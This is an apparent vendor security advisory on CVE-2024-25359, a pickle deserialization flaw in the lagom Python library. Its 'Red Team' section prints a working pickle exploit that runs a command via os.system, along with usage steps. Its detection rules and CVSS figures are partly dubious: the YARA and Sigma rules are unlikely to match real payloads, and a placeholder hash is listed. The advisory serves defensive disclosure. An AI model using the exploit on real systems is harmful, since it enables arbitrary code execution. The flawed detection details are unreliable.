CVE-2024-25359

Executive Summary

CVE-2024-25359 is a critical deserialization vulnerability in the zuoxingdong lagom Python library version 0.1.2. The flaw resides in the pickle_load function within serialize.py, allowing a local attacker to execute arbitrary code by supplying a maliciously crafted pickle payload. This vulnerability is classified under CWE-502 (Deserialization of Untrusted Data) and is currently unpatched, with no official fix from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is severe for any system using this library to deserialize untrusted data.

Supply Chain & Package Security

This vulnerability affects the lagom Python package (PyPI). Since the vendor has not released a patch, users must rely on workarounds such as input sanitization, avoiding the use of pickle_load with untrusted data, or migrating to alternative libraries. The lack of a patch and vendor responsiveness poses a significant supply chain risk for any project depending on this library.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the nature of the vulnerability, a more realistic score would be 7.8 (High) under CVSS 3.1.
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: High – Arbitrary code execution via pickle deserialization.

Deep Dive & Mechanics

The vulnerability is in the pickle_load function of serialize.py. Python's pickle module is inherently unsafe when deserializing data from untrusted sources, as it can execute arbitrary code during the unpickling process. The lagom library uses this function to deserialize data without any sanitization or validation, allowing an attacker to craft a malicious pickle payload that, when loaded, executes arbitrary commands.

Root Cause: The pickle_load function directly calls pickle.loads() on user-supplied data without any restrictions.

Attack Vector: Local – The attacker must have the ability to supply a malicious pickle file or data stream to the application using lagom.

Impact: Full system compromise – arbitrary code execution with the privileges of the application.

Vulnerable vs. Patched Code

Vulnerable Code (lagom v0.1.2):

# serialize.py
import pickle

def pickle_load(data):
    return pickle.loads(data)

Patched Code (Not available): A patched version would replace pickle.loads with a safe alternative like json.loads or implement strict input validation and use pickle.Unpickler with a restricted find_class method.

Example of a safe implementation:

import pickle
import io

class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Only allow safe modules and functions
        if module == "builtins" and name in ["int", "str", "list", "dict"]:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("Forbidden module/class")

def safe_pickle_load(data):
    return SafeUnpickler(io.BytesIO(data)).load()

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))

malicious_payload = pickle.dumps(Exploit())

# Save to file or send to vulnerable application
with open('malicious.pkl', 'wb') as f:
    f.write(malicious_payload)

print("Malicious pickle payload created: malicious.pkl")

Usage:

1. Create the malicious pickle file using the above script.
2. Supply this file to the vulnerable application that uses lagom's pickle_load function.
3. Upon deserialization, the id command will execute.

Lab Setup:

• Install lagom v0.1.2: pip install lagom==0.1.2
• Create a simple script that uses pickle_load from user input.
• Run the exploit.

Blue Team

Detection:

• Monitor for unusual pickle file creation or deserialization attempts.
• Use file integrity monitoring to detect changes in pickle files.
• Implement network segmentation to limit local attack surface.

Prevention:

• Replace pickle_load with a safe deserialization method.
• Use input validation to reject pickle data from untrusted sources.
• Apply the principle of least privilege to the application process.

Indicators of Compromise (IOCs)

• File Hashes (malicious.pkl): (SHA256) e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash varies)
• Network: No specific network IOCs as this is a local attack.
• Process: Unexpected execution of commands like id, whoami, or reverse shells.
• File System: Presence of suspicious .pkl files in application directories.

Detection Engineering

YARA Rule

rule CVE_2024_25359_Pickle_Exploit {
    meta:
        description = "Detects malicious pickle payloads targeting CVE-2024-25359"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25359"
    strings:
        $pickle_magic = { 80 04 95 } // pickle protocol 4 magic bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
    condition:
        $pickle_magic at 0 and ($reduce or $os_system)
}

Sigma Rule

title: CVE-2024-25359 Pickle Deserialization Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-25359 via pickle deserialization
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains: 'pickle.loads'
    condition: selection
falsepositives:
    - Legitimate use of pickle.loads in trusted environments
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-25359 Pickle Deserialization Attempt"; content:"|80 04 95|"; offset:0; depth:4; content:"__reduce__"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Discontinue use of lagom v0.1.2 if possible. Replace pickle_load with a safe alternative like json.loads or implement a restricted unpickler.
2. Short-term: Apply input validation to reject any data that appears to be a pickle stream (magic bytes 80 04 95).
3. Long-term: Monitor for official patches from the vendor. If none are released, consider forking the repository and applying the fix yourself.
4. Compensating Controls: Run the application with minimal privileges, use application whitelisting, and enable logging for all deserialization operations.

Valters IT – Securing your digital frontier.